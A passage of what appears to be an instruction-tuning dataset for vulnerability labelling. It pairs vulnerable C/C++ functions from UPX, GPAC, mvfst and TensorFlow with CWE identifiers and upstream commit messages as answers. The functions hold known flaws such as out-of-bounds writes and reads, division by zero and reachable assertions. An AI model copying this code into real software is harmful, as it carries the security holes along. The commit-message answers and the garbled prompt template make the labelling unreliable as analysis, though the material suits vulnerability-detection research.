get_te32(&phdr->p_flags)) { unpackExtent(filesz, fo, total_in, total_out, c_adler, u_adler, first_PF_X, szb_info); first_PF_X = false; } else { unpackExtent(filesz, fo, total_in, total_out, c_adler, u_adler, false, szb_info); } } } } phdr = phdri; load_va = 0; for (unsigned j=0; j < c_phnum; ++j) { if (PT_LOAD32==get_te32(&phdr->p_type)) { load_va = get_te32(&phdr->p_vaddr); break; } } if (0x1000==get_te32(&phdri[0].p_filesz) // detect C_BASE style && 0==get_te32(&phdri[1].p_offset) && 0==get_te32(&phdri[0].p_offset) && get_te32(&phdri[1].p_filesz) == get_te32(&phdri[1].p_memsz)) { fi->seek(up4(get_te32(&phdr[1].p_memsz)), SEEK_SET); // past the loader } else if (is_shlib || ((unsigned)(get_te32(&ehdri.e_entry) - load_va) + up4(lsize) + ph.getPackHeaderSize() + sizeof(overlay_offset)) < up4(file_size)) { // Loader is not at end; skip past it. funpad4(fi); // MATCH01 unsigned d_info[4]; fi->readx(d_info, sizeof(d_info)); if (0==old_dtinit) { old_dtinit = get_te32(&d_info[2 + (0==d_info[0])]); is_asl = 1u& get_te32(&d_info[0 + (0==d_info[0])]); } fi->seek(lsize - sizeof(d_info), SEEK_CUR); } // The gaps between PT_LOAD and after last PT_LOAD phdr = (Elf32_Phdr *)&u[sizeof(*ehdr)]; unsigned hi_offset(0); for (unsigned j = 0; j < u_phnum; ++j) { if (PT_LOAD32==phdr[j].p_type && hi_offset < phdr[j].p_offset) hi_offset = phdr[j].p_offset; } for (unsigned j = 0; j < u_phnum; ++j) { unsigned const size = find_LOAD_gap(phdr, j, u_phnum); if (size) { unsigned const where = get_te32(&phdr[j].p_offset) + get_te32(&phdr[j].p_filesz); if (fo) fo->seek(where, SEEK_SET); unpackExtent(size, fo, total_in, total_out, c_adler, u_adler, false, szb_info, (phdr[j].p_offset != hi_offset)); } } // check for end-of-file fi->readx(&bhdr, szb_info); unsigned const sz_unc = ph.u_len = get_te32(&bhdr.sz_unc); if (sz_unc == 0) { // uncompressed size 0 -> EOF // note: magic is always stored le32 unsigned const sz_cpr = get_le32(&bhdr.sz_cpr); if (sz_cpr != UPX_MAGIC_LE32) // sz_cpr must be h->magic throwCompressedDataViolation(); } else { // extra bytes after end? throwCompressedDataViolation(); } if (is_shlib) { // DT_INIT must be restored. // If android_shlib, then the asl_delta relocations must be un-done. int n_ptload = 0; unsigned load_off = 0; phdr = (Elf32_Phdr *)&u[sizeof(*ehdr)]; for (unsigned j= 0; j < u_phnum; ++j, ++phdr) { if (PT_LOAD32==get_te32(&phdr->p_type) && 0!=n_ptload++) { load_off = get_te32(&phdr->p_offset); load_va = get_te32(&phdr->p_vaddr); fi->seek(old_data_off, SEEK_SET); fi->readx(ibuf, old_data_len); total_in += old_data_len; total_out += old_data_len; Elf32_Phdr const *udynhdr = (Elf32_Phdr *)&u[sizeof(*ehdr)]; for (unsigned j3= 0; j3 < u_phnum; ++j3, ++udynhdr) if (Elf32_Phdr::PT_DYNAMIC==get_te32(&udynhdr->p_type)) { unsigned dt_pltrelsz(0), dt_jmprel(0); unsigned dt_relsz(0), dt_rel(0); unsigned const dyn_len = get_te32(&udynhdr->p_filesz); unsigned const dyn_off = get_te32(&udynhdr->p_offset); if ((unsigned long)file_size < (dyn_len + dyn_off)) { char msg[50]; snprintf(msg, sizeof(msg), "bad PT_DYNAMIC .p_filesz %#x", dyn_len); throwCantUnpack(msg); } if (dyn_off < load_off) { continue; // Oops. Not really is_shlib ? [built by 'rust' ?] } Elf32_Dyn *dyn = (Elf32_Dyn *)((unsigned char *)ibuf + (dyn_off - load_off)); dynseg = dyn; invert_pt_dynamic(dynseg); for (unsigned j2= 0; j2 < dyn_len; ++dyn, j2 += sizeof(*dyn)) { unsigned const tag = get_te32(&dyn->d_tag); unsigned val = get_te32(&dyn->d_val); if (is_asl) switch (tag) { case Elf32_Dyn::DT_RELSZ: { dt_relsz = val; } break; case Elf32_Dyn::DT_REL: { dt_rel = val; } break; case Elf32_Dyn::DT_PLTRELSZ: { dt_pltrelsz = val; } break; case Elf32_Dyn::DT_JMPREL: { dt_jmprel = val; } break; case Elf32_Dyn::DT_PLTGOT: case Elf32_Dyn::DT_PREINIT_ARRAY: case Elf32_Dyn::DT_INIT_ARRAY: case Elf32_Dyn::DT_FINI_ARRAY: case Elf32_Dyn::DT_FINI: { set_te32(&dyn->d_val, val -= asl_delta); }; break; } // end switch() if (upx_dt_init == tag) { if (Elf32_Dyn::DT_INIT == tag) { set_te32(&dyn->d_val, old_dtinit); if (!old_dtinit) { // compressor took the slot dyn->d_tag = Elf32_Dyn::DT_NULL; dyn->d_val = 0; } } else if (Elf32_Dyn::DT_INIT_ARRAY == tag || Elf32_Dyn::DT_PREINIT_ARRAY == tag) { if (val < load_va || (unsigned)file_size < (unsigned)val) { char msg[50]; snprintf(msg, sizeof(msg), "Bad Dynamic tag %#x %#x", (unsigned)tag, (unsigned)val); throwCantUnpack(msg); } set_te32(&ibuf[val - load_va], old_dtinit + (is_asl ? asl_delta : 0)); // counter-act unRel32 } } // Modified DT_*.d_val are re-written later from ibuf[] } if (is_asl) { lowmem.alloc(xct_off); fi->seek(0, SEEK_SET); fi->read(lowmem, xct_off); // contains relocation tables if (dt_relsz && dt_rel) { Elf32_Rel *const rel0 = (Elf32_Rel *)lowmem.subref( "bad Rel offset", dt_rel, dt_relsz); unRel32(dt_rel, rel0, dt_relsz, ibuf, load_va, fo); } if (dt_pltrelsz && dt_jmprel) { // FIXME: overlap w/ DT_REL ? Elf32_Rel *const jmp0 = (Elf32_Rel *)lowmem.subref( "bad Jmprel offset", dt_jmprel, dt_pltrelsz); unRel32(dt_jmprel, jmp0, dt_pltrelsz, ibuf, load_va, fo); } // Modified relocation tables are re-written by unRel32 } } if (fo) { fo->seek(get_te32(&phdr->p_offset), SEEK_SET); fo->rewrite(ibuf, old_data_len); } } } } // update header with totals ph.c_len = total_in; ph.u_len = total_out; // all bytes must be written if (total_out != orig_file_size) throwEOFException(); // finally test the checksums if (ph.c_adler != c_adler || ph.u_adler != u_adler) throwChecksumError(); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Defend against bad PT_DYNAMIC https://github.com/upx/upx/issues/391 modified: p_lx_elf.cpp modified: p_lx_elf.h'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static Bool hevc_parse_vps_extension(HEVC_VPS *vps, GF_BitStream *bs) { u8 splitting_flag, vps_nuh_layer_id_present_flag, view_id_len; u32 i, j, num_scalability_types, num_add_olss, num_add_layer_set, num_indepentdent_layers, nb_bits, default_output_layer_idc = 0; u8 dimension_id_len[16], dim_bit_offset[16]; u8 /*avc_base_layer_flag, */NumLayerSets, /*default_one_target_output_layer_flag, */rep_format_idx_present_flag, ols_ids_to_ls_idx; u8 layer_set_idx_for_ols_minus1[MAX_LHVC_LAYERS]; u8 nb_output_layers_in_output_layer_set[MAX_LHVC_LAYERS + 1]; u8 ols_highest_output_layer_id[MAX_LHVC_LAYERS + 1]; u32 k, d, r, p, iNuhLId, jNuhLId; u8 num_direct_ref_layers[64], num_pred_layers[64], num_layers_in_tree_partition[MAX_LHVC_LAYERS]; u8 dependency_flag[MAX_LHVC_LAYERS][MAX_LHVC_LAYERS], id_pred_layers[64][MAX_LHVC_LAYERS]; // u8 num_ref_layers[64]; // u8 tree_partition_layer_id[MAX_LHVC_LAYERS][MAX_LHVC_LAYERS]; // u8 id_ref_layers[64][MAX_LHVC_LAYERS]; // u8 id_direct_ref_layers[64][MAX_LHVC_LAYERS]; u8 layer_id_in_list_flag[64]; Bool OutputLayerFlag[MAX_LHVC_LAYERS][MAX_LHVC_LAYERS]; vps->vps_extension_found = 1; if ((vps->max_layers > 1) && vps->base_layer_internal_flag) hevc_profile_tier_level(bs, 0, vps->max_sub_layers - 1, &vps->ext_ptl[0], 0); splitting_flag = gf_bs_read_int_log(bs, 1, "splitting_flag"); num_scalability_types = 0; for (i = 0; i < 16; i++) { vps->scalability_mask[i] = gf_bs_read_int_log_idx(bs, 1, "scalability_mask", i); num_scalability_types += vps->scalability_mask[i]; } if (num_scalability_types >= 16) { num_scalability_types = 16; } dimension_id_len[0] = 0; for (i = 0; i < (num_scalability_types - splitting_flag); i++) { dimension_id_len[i] = 1 + gf_bs_read_int_log_idx(bs, 3, "dimension_id_len_minus1", i); } if (splitting_flag) { for (i = 0; i < num_scalability_types; i++) { dim_bit_offset[i] = 0; for (j = 0; j < i; j++) dim_bit_offset[i] += dimension_id_len[j]; } dimension_id_len[num_scalability_types - 1] = 1 + (5 - dim_bit_offset[num_scalability_types - 1]); dim_bit_offset[num_scalability_types] = 6; } vps_nuh_layer_id_present_flag = gf_bs_read_int_log(bs, 1, "vps_nuh_layer_id_present_flag"); vps->layer_id_in_nuh[0] = 0; vps->layer_id_in_vps[0] = 0; for (i = 1; i < vps->max_layers; i++) { if (vps_nuh_layer_id_present_flag) { vps->layer_id_in_nuh[i] = gf_bs_read_int_log_idx(bs, 6, "layer_id_in_nuh", i); } else { vps->layer_id_in_nuh[i] = i; } vps->layer_id_in_vps[vps->layer_id_in_nuh[i]] = i; if (!splitting_flag) { for (j = 0; j < num_scalability_types; j++) { vps->dimension_id[i][j] = gf_bs_read_int_log_idx2(bs, dimension_id_len[j], "dimension_id", i, j); } } } if (splitting_flag) { for (i = 0; i < vps->max_layers; i++) for (j = 0; j < num_scalability_types; j++) vps->dimension_id[i][j] = ((vps->layer_id_in_nuh[i] & ((1 << dim_bit_offset[j + 1]) - 1)) >> dim_bit_offset[j]); } else { for (j = 0; j < num_scalability_types; j++) vps->dimension_id[0][j] = 0; } view_id_len = gf_bs_read_int_log(bs, 4, "view_id_len"); if (view_id_len > 0) { for (i = 0; i < lhvc_get_num_views(vps); i++) { gf_bs_read_int_log_idx(bs, view_id_len, "view_id_val", i); } } for (i = 1; i < vps->max_layers; i++) { for (j = 0; j < i; j++) { vps->direct_dependency_flag[i][j] = gf_bs_read_int_log_idx(bs, 1, "direct_dependency_flag", i); } } //we do the test on MAX_LHVC_LAYERS and break in the loop to avoid a wrong GCC 4.8 warning on array bounds for (i = 0; i < MAX_LHVC_LAYERS; i++) { if (i >= vps->max_layers) break; for (j = 0; j < vps->max_layers; j++) { dependency_flag[i][j] = vps->direct_dependency_flag[i][j]; for (k = 0; k < i; k++) if (vps->direct_dependency_flag[i][k] && vps->direct_dependency_flag[k][j]) dependency_flag[i][j] = 1; } } for (i = 0; i < vps->max_layers; i++) { iNuhLId = vps->layer_id_in_nuh[i]; d = r = p = 0; for (j = 0; j < vps->max_layers; j++) { jNuhLId = vps->layer_id_in_nuh[j]; if (vps->direct_dependency_flag[i][j]) { // id_direct_ref_layers[iNuhLId][d] = jNuhLId; d++; } if (dependency_flag[i][j]) { // id_ref_layers[iNuhLId][r] = jNuhLId; r++; } if (dependency_flag[j][i]) id_pred_layers[iNuhLId][p++] = jNuhLId; } num_direct_ref_layers[iNuhLId] = d; // num_ref_layers[iNuhLId] = r; num_pred_layers[iNuhLId] = p; } memset(layer_id_in_list_flag, 0, 64 * sizeof(u8)); k = 0; //num_indepentdent_layers for (i = 0; i < vps->max_layers; i++) { iNuhLId = vps->layer_id_in_nuh[i]; if (!num_direct_ref_layers[iNuhLId]) { u32 h = 1; //tree_partition_layer_id[k][0] = iNuhLId; for (j = 0; j < num_pred_layers[iNuhLId]; j++) { u32 predLId = id_pred_layers[iNuhLId][j]; if (!layer_id_in_list_flag[predLId]) { //tree_partition_layer_id[k][h++] = predLId; layer_id_in_list_flag[predLId] = 1; } } num_layers_in_tree_partition[k++] = h; } } num_indepentdent_layers = k; num_add_layer_set = 0; if (num_indepentdent_layers > 1) num_add_layer_set = gf_bs_read_ue_log(bs, "num_add_layer_set"); for (i = 0; i < num_add_layer_set; i++) for (j = 1; j < num_indepentdent_layers; j++) { nb_bits = 1; while ((1 << nb_bits) < (num_layers_in_tree_partition[j] + 1)) nb_bits++; gf_bs_read_int_log_idx2(bs, nb_bits, "highest_layer_idx_plus1", i, j); } if (gf_bs_read_int_log(bs, 1, "vps_sub_layers_max_minus1_present_flag")) { for (i = 0; i < vps->max_layers; i++) { gf_bs_read_int_log_idx(bs, 3, "sub_layers_vps_max_minus1", i); } } if (gf_bs_read_int_log(bs, 1, "max_tid_ref_present_flag")) { for (i = 0; i < (vps->max_layers - 1); i++) { for (j = i + 1; j < vps->max_layers; j++) { if (vps->direct_dependency_flag[j][i]) gf_bs_read_int_log_idx2(bs, 3, "max_tid_il_ref_pics_plus1", i, j); } } } gf_bs_read_int_log(bs, 1, "default_ref_layers_active_flag"); vps->num_profile_tier_level = 1 + gf_bs_read_ue_log(bs, "num_profile_tier_level"); if (vps->num_profile_tier_level > MAX_LHVC_LAYERS) { GF_LOG(GF_LOG_ERROR, GF_LOG_CODING, ("[HEVC] Wrong number of PTLs in VPS %d\n", vps->num_profile_tier_level)); vps->num_profile_tier_level = 1; return GF_FALSE; } for (i = vps->base_layer_internal_flag ? 2 : 1; i < vps->num_profile_tier_level; i++) { Bool vps_profile_present_flag = gf_bs_read_int_log_idx(bs, 1, "vps_profile_present_flag", i); hevc_profile_tier_level(bs, vps_profile_present_flag, vps->max_sub_layers - 1, &vps->ext_ptl[i - 1], i-1); } NumLayerSets = vps->num_layer_sets + num_add_layer_set; num_add_olss = 0; if (NumLayerSets > 1) { num_add_olss = gf_bs_read_ue_log(bs, "num_add_olss"); default_output_layer_idc = gf_bs_read_int_log(bs, 2, "default_output_layer_idc"); default_output_layer_idc = default_output_layer_idc < 2 ? default_output_layer_idc : 2; } vps->num_output_layer_sets = num_add_olss + NumLayerSets; layer_set_idx_for_ols_minus1[0] = 1; vps->output_layer_flag[0][0] = 1; for (i = 0; i < vps->num_output_layer_sets; i++) { if ((NumLayerSets > 2) && (i >= NumLayerSets)) { nb_bits = 1; while ((1 << nb_bits) < (NumLayerSets - 1)) nb_bits++; layer_set_idx_for_ols_minus1[i] = gf_bs_read_int_log_idx(bs, nb_bits, "layer_set_idx_for_ols_minus1", i); } else layer_set_idx_for_ols_minus1[i] = 0; ols_ids_to_ls_idx = i < NumLayerSets ? i : layer_set_idx_for_ols_minus1[i] + 1; if ((i > (vps->num_layer_sets - 1)) || (default_output_layer_idc == 2)) { for (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) vps->output_layer_flag[i][j] = gf_bs_read_int_log_idx2(bs, 1, "output_layer_flag", i, j); } if ((default_output_layer_idc == 0) || (default_output_layer_idc == 1)) { for (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) { if ((default_output_layer_idc == 0) || (vps->LayerSetLayerIdList[i][j] == vps->LayerSetLayerIdListMax[i])) OutputLayerFlag[i][j] = GF_TRUE; else OutputLayerFlag[i][j] = GF_FALSE; } } for (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) { if (OutputLayerFlag[i][j]) { u32 curLayerID; vps->necessary_layers_flag[i][j] = GF_TRUE; curLayerID = vps->LayerSetLayerIdList[i][j]; for (k = 0; k < j; k++) { u32 refLayerId = vps->LayerSetLayerIdList[i][k]; if (dependency_flag[vps->layer_id_in_vps[curLayerID]][vps->layer_id_in_vps[refLayerId]]) vps->necessary_layers_flag[i][k] = GF_TRUE; } } } vps->num_necessary_layers[i] = 0; for (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) { if (vps->necessary_layers_flag[i][j]) vps->num_necessary_layers[i] += 1; } if (i == 0) { if (vps->base_layer_internal_flag) { if (vps->max_layers > 1) vps->profile_tier_level_idx[0][0] = 1; else vps->profile_tier_level_idx[0][0] = 0; } continue; } nb_bits = 1; while ((u32)(1 << nb_bits) < vps->num_profile_tier_level) nb_bits++; for (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) if (vps->necessary_layers_flag[i][j] && vps->num_profile_tier_level) vps->profile_tier_level_idx[i][j] = gf_bs_read_int_log_idx2(bs, nb_bits, "profile_tier_level_idx", i, j); else vps->profile_tier_level_idx[i][j] = 0; nb_output_layers_in_output_layer_set[i] = 0; for (j = 0; j < vps->num_layers_in_id_list[ols_ids_to_ls_idx]; j++) { nb_output_layers_in_output_layer_set[i] += OutputLayerFlag[i][j]; if (OutputLayerFlag[i][j]) { ols_highest_output_layer_id[i] = vps->LayerSetLayerIdList[ols_ids_to_ls_idx][j]; } } if (nb_output_layers_in_output_layer_set[i] == 1 && ols_highest_output_layer_id[i] > 0) vps->alt_output_layer_flag[i] = gf_bs_read_int_log_idx(bs, 1, "alt_output_layer_flag", i); } vps->num_rep_formats = 1 + gf_bs_read_ue_log(bs, "num_rep_formats_minus1"); if (vps->num_rep_formats > 16) { GF_LOG(GF_LOG_ERROR, GF_LOG_CODING, ("[HEVC] Wrong number of rep formats in VPS %d\n", vps->num_rep_formats)); vps->num_rep_formats = 0; return GF_FALSE; } for (i = 0; i < vps->num_rep_formats; i++) { lhvc_parse_rep_format(&vps->rep_formats[i], bs, i); } if (vps->num_rep_formats > 1) rep_format_idx_present_flag = gf_bs_read_int_log(bs, 1, "rep_format_idx_present_flag"); else rep_format_idx_present_flag = 0; vps->rep_format_idx[0] = 0; nb_bits = 1; while ((u32)(1 << nb_bits) < vps->num_rep_formats) nb_bits++; for (i = vps->base_layer_internal_flag ? 1 : 0; i < vps->max_layers; i++) { if (rep_format_idx_present_flag) { vps->rep_format_idx[i] = gf_bs_read_int_log_idx(bs, nb_bits, "rep_format_idx", i); } else { vps->rep_format_idx[i] = i < vps->num_rep_formats - 1 ? i : vps->num_rep_formats - 1; } } //TODO - we don't use the rest ... return GF_TRUE; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'fixed #1780 (fuzz)'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void updateHandshakeState(QuicServerConnectionState& conn) { // Zero RTT read cipher is available after chlo is processed with the // condition that early data attempt is accepted. auto handshakeLayer = conn.serverHandshakeLayer; auto zeroRttReadCipher = handshakeLayer->getZeroRttReadCipher(); auto zeroRttHeaderCipher = handshakeLayer->getZeroRttReadHeaderCipher(); // One RTT write cipher is available at Fizz layer after chlo is processed. // However, the cipher is only exported to QUIC if early data attempt is // accepted. Otherwise, the cipher will be available after cfin is // processed. auto oneRttWriteCipher = handshakeLayer->getOneRttWriteCipher(); // One RTT read cipher is available after cfin is processed. auto oneRttReadCipher = handshakeLayer->getOneRttReadCipher(); auto oneRttWriteHeaderCipher = handshakeLayer->getOneRttWriteHeaderCipher(); auto oneRttReadHeaderCipher = handshakeLayer->getOneRttReadHeaderCipher(); if (zeroRttReadCipher) { if (conn.qLogger) { conn.qLogger->addTransportStateUpdate(kDerivedZeroRttReadCipher); } QUIC_TRACE(fst_trace, conn, "derived 0-rtt read cipher"); conn.readCodec->setZeroRttReadCipher(std::move(zeroRttReadCipher)); } if (zeroRttHeaderCipher) { conn.readCodec->setZeroRttHeaderCipher(std::move(zeroRttHeaderCipher)); } if (oneRttWriteHeaderCipher) { conn.oneRttWriteHeaderCipher = std::move(oneRttWriteHeaderCipher); } if (oneRttReadHeaderCipher) { conn.readCodec->setOneRttHeaderCipher(std::move(oneRttReadHeaderCipher)); } if (oneRttWriteCipher) { if (conn.qLogger) { conn.qLogger->addTransportStateUpdate(kDerivedOneRttWriteCipher); } QUIC_TRACE(fst_trace, conn, "derived 1-rtt write cipher"); CHECK(!conn.oneRttWriteCipher.get()); conn.oneRttWriteCipher = std::move(oneRttWriteCipher); updatePacingOnKeyEstablished(conn); // We negotiate the transport parameters whenever we have the 1-RTT write // keys available. auto clientParams = handshakeLayer->getClientTransportParams(); if (!clientParams) { throw QuicTransportException( "No client transport params", TransportErrorCode::TRANSPORT_PARAMETER_ERROR); } processClientInitialParams(conn, std::move(*clientParams)); } if (oneRttReadCipher) { if (conn.qLogger) { conn.qLogger->addTransportStateUpdate(kDerivedOneRttReadCipher); } QUIC_TRACE(fst_trace, conn, "derived 1-rtt read cipher"); // Clear limit because CFIN is received at this point conn.writableBytesLimit = folly::none; conn.readCodec->setOneRttReadCipher(std::move(oneRttReadCipher)); } auto handshakeReadCipher = handshakeLayer->getHandshakeReadCipher(); auto handshakeReadHeaderCipher = handshakeLayer->getHandshakeReadHeaderCipher(); if (handshakeReadCipher) { CHECK(handshakeReadHeaderCipher); conn.readCodec->setHandshakeReadCipher(std::move(handshakeReadCipher)); conn.readCodec->setHandshakeHeaderCipher( std::move(handshakeReadHeaderCipher)); } if (handshakeLayer->isHandshakeDone()) { CHECK(conn.oneRttWriteCipher); if (conn.version != QuicVersion::MVFST_D24 && !conn.sentHandshakeDone) { sendSimpleFrame(conn, HandshakeDoneFrame()); conn.sentHandshakeDone = true; } } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'Close connection if we derive an extra 1-rtt write cipher Summary: Fixes CVE-2021-24029 Reviewed By: mjoras, lnicco Differential Revision: D26613890 fbshipit-source-id: 19bb2be2c731808144e1a074ece313fba11f1945'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void Compute(OpKernelContext* context) override { const Tensor& x = context->input(0); const Tensor& y = context->input(1); const float min_x = context->input(2).flat<float>()(0); const float max_x = context->input(3).flat<float>()(0); const float min_y = context->input(4).flat<float>()(0); const float max_y = context->input(5).flat<float>()(0); BCast bcast(BCast::FromShape(x.shape()), BCast::FromShape(y.shape())); if (!bcast.IsValid()) { context->SetStatus(errors::InvalidArgument( "Incompatible shapes: ", x.shape().DebugString(), " vs. ", y.shape().DebugString())); return; } Tensor* z; OP_REQUIRES_OK(context, context->allocate_output( 0, BCast::ToShape(bcast.output_shape()), &z)); // Make sure that we have valid quantization ranges for the input buffers. // If the difference between the min and max is negative or zero, it makes // it hard to do meaningful intermediate operations on the values. OP_REQUIRES(context, (max_x > min_x), errors::InvalidArgument("max_x must be larger than min_a.")); OP_REQUIRES(context, (max_y > min_y), errors::InvalidArgument("max_x must be larger than min_b.")); const int32 offset_x = FloatToQuantizedUnclamped<T>(0.0f, min_x, max_x); const int32 offset_y = FloatToQuantizedUnclamped<T>(0.0f, min_y, max_y); const T* x_data = x.flat<T>().data(); const T* y_data = y.flat<T>().data(); Toutput* z_data = z->flat<Toutput>().data(); const int ndims = bcast.x_reshape().size(); if (ndims <= 1) { if (x.NumElements() == 1) { ScalarMultiply<T, Toutput>(context, y_data, offset_y, y.NumElements(), x_data[0], offset_x, z_data); } else if (y.NumElements() == 1) { ScalarMultiply<T, Toutput>(context, x_data, offset_x, x.NumElements(), y_data[0], offset_y, z_data); } else { VectorMultiply<T, Toutput>(context, x_data, offset_x, y_data, offset_y, x.NumElements(), z_data); } } else if (ndims == 2) { const T* vector_data; int64 vector_num_elements; int32 vector_offset; const T* tensor_data; int64 tensor_num_elements; int32 tensor_offset; if (x.NumElements() < y.NumElements()) { vector_data = x_data; vector_num_elements = x.NumElements(); vector_offset = offset_x; tensor_data = y_data; tensor_num_elements = y.NumElements(); tensor_offset = offset_y; } else { vector_data = y_data; vector_num_elements = y.NumElements(); vector_offset = offset_y; tensor_data = x_data; tensor_num_elements = x.NumElements(); tensor_offset = offset_x; } VectorTensorMultiply<T, Toutput>( vector_data, vector_offset, vector_num_elements, tensor_data, tensor_offset, tensor_num_elements, z_data); } else { LOG(INFO) << "ndims=" << ndims; LOG(INFO) << "bcast.x_reshape()=" << TensorShape(bcast.x_reshape()).DebugString(); LOG(INFO) << "bcast.y_reshape()=" << TensorShape(bcast.y_reshape()).DebugString(); LOG(INFO) << "bcast.x_bcast()=" << TensorShape(bcast.x_bcast()).DebugString(); LOG(INFO) << "bcast.y_bcast()=" << TensorShape(bcast.y_bcast()).DebugString(); context->SetStatus(errors::Unimplemented( "Broadcast between ", context->input(0).shape().DebugString(), " and ", context->input(1).shape().DebugString(), " is not supported yet.")); return; } float min_z_value; float max_z_value; QuantizationRangeForMultiplication<T, T, Toutput>( min_x, max_x, min_y, max_y, &min_z_value, &max_z_value); Tensor* z_min = nullptr; OP_REQUIRES_OK(context, context->allocate_output(1, {}, &z_min)); z_min->flat<float>()(0) = min_z_value; Tensor* z_max = nullptr; OP_REQUIRES_OK(context, context->allocate_output(2, {}, &z_max)); z_max->flat<float>()(0) = max_z_value; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-369'], 'message': 'Fix one division by zero PiperOrigin-RevId: 369474832 Change-Id: I1082858ed78d9b2e4738ce30b231955973d49e1e'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static void oinf_entry_dump(GF_OperatingPointsInformation *ptr, FILE * trace) { u32 i, count; if (!ptr) { fprintf(trace, "<OperatingPointsInformation scalability_mask=\"Multiview|Spatial scalability|Auxilary|unknown\" num_profile_tier_level=\"\" num_operating_points=\"\" dependency_layers=\"\">\n"); fprintf(trace, " <ProfileTierLevel general_profile_space=\"\" general_tier_flag=\"\" general_profile_idc=\"\" general_profile_compatibility_flags=\"\" general_constraint_indicator_flags=\"\" />\n"); fprintf(trace, "<OperatingPoint output_layer_set_idx=\"\" max_temporal_id=\"\" layer_count=\"\" minPicWidth=\"\" minPicHeight=\"\" maxPicWidth=\"\" maxPicHeight=\"\" maxChromaFormat=\"\" maxBitDepth=\"\" frame_rate_info_flag=\"\" bit_rate_info_flag=\"\" avgFrameRate=\"\" constantFrameRate=\"\" maxBitRate=\"\" avgBitRate=\"\"/>\n"); fprintf(trace, "<Layer dependent_layerID=\"\" num_layers_dependent_on=\"\" dependent_on_layerID=\"\" dimension_identifier=\"\"/>\n"); fprintf(trace, "</OperatingPointsInformation>\n"); return; } fprintf(trace, "<OperatingPointsInformation"); fprintf(trace, " scalability_mask=\"%u (", ptr->scalability_mask); switch (ptr->scalability_mask) { case 2: fprintf(trace, "Multiview"); break; case 4: fprintf(trace, "Spatial scalability"); break; case 8: fprintf(trace, "Auxilary"); break; default: fprintf(trace, "unknown"); } fprintf(trace, ")\" num_profile_tier_level=\"%u\"", gf_list_count(ptr->profile_tier_levels) ); fprintf(trace, " num_operating_points=\"%u\" dependency_layers=\"%u\"", gf_list_count(ptr->operating_points), gf_list_count(ptr->dependency_layers)); fprintf(trace, ">\n"); count=gf_list_count(ptr->profile_tier_levels); for (i = 0; i < count; i++) { LHEVC_ProfileTierLevel *ptl = (LHEVC_ProfileTierLevel *)gf_list_get(ptr->profile_tier_levels, i); fprintf(trace, " <ProfileTierLevel general_profile_space=\"%u\" general_tier_flag=\"%u\" general_profile_idc=\"%u\" general_profile_compatibility_flags=\"%X\" general_constraint_indicator_flags=\""LLX"\" />\n", ptl->general_profile_space, ptl->general_tier_flag, ptl->general_profile_idc, ptl->general_profile_compatibility_flags, ptl->general_constraint_indicator_flags); } count=gf_list_count(ptr->operating_points); for (i = 0; i < count; i++) { LHEVC_OperatingPoint *op = (LHEVC_OperatingPoint *)gf_list_get(ptr->operating_points, i); fprintf(trace, "<OperatingPoint output_layer_set_idx=\"%u\"", op->output_layer_set_idx); fprintf(trace, " max_temporal_id=\"%u\" layer_count=\"%u\"", op->max_temporal_id, op->layer_count); fprintf(trace, " minPicWidth=\"%u\" minPicHeight=\"%u\"", op->minPicWidth, op->minPicHeight); fprintf(trace, " maxPicWidth=\"%u\" maxPicHeight=\"%u\"", op->maxPicWidth, op->maxPicHeight); fprintf(trace, " maxChromaFormat=\"%u\" maxBitDepth=\"%u\"", op->maxChromaFormat, op->maxBitDepth); fprintf(trace, " frame_rate_info_flag=\"%u\" bit_rate_info_flag=\"%u\"", op->frame_rate_info_flag, op->bit_rate_info_flag); if (op->frame_rate_info_flag) fprintf(trace, " avgFrameRate=\"%u\" constantFrameRate=\"%u\"", op->avgFrameRate, op->constantFrameRate); if (op->bit_rate_info_flag) fprintf(trace, " maxBitRate=\"%u\" avgBitRate=\"%u\"", op->maxBitRate, op->avgBitRate); fprintf(trace, "/>\n"); } count=gf_list_count(ptr->dependency_layers); for (i = 0; i < count; i++) { u32 j; LHEVC_DependentLayer *dep = (LHEVC_DependentLayer *)gf_list_get(ptr->dependency_layers, i); fprintf(trace, "<Layer dependent_layerID=\"%u\" num_layers_dependent_on=\"%u\"", dep->dependent_layerID, dep->num_layers_dependent_on); if (dep->num_layers_dependent_on) { fprintf(trace, " dependent_on_layerID=\""); for (j = 0; j < dep->num_layers_dependent_on; j++) fprintf(trace, "%d ", dep->dependent_on_layerID[j]); fprintf(trace, "\""); } fprintf(trace, " dimension_identifier=\""); for (j = 0; j < 16; j++) if (ptr->scalability_mask & (1 << j)) fprintf(trace, "%d ", dep->dimension_identifier[j]); fprintf(trace, "\"/>\n"); } fprintf(trace, "</OperatingPointsInformation>\n"); return; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'fixed 2 possible heap overflows (inc. #1088)'</s>
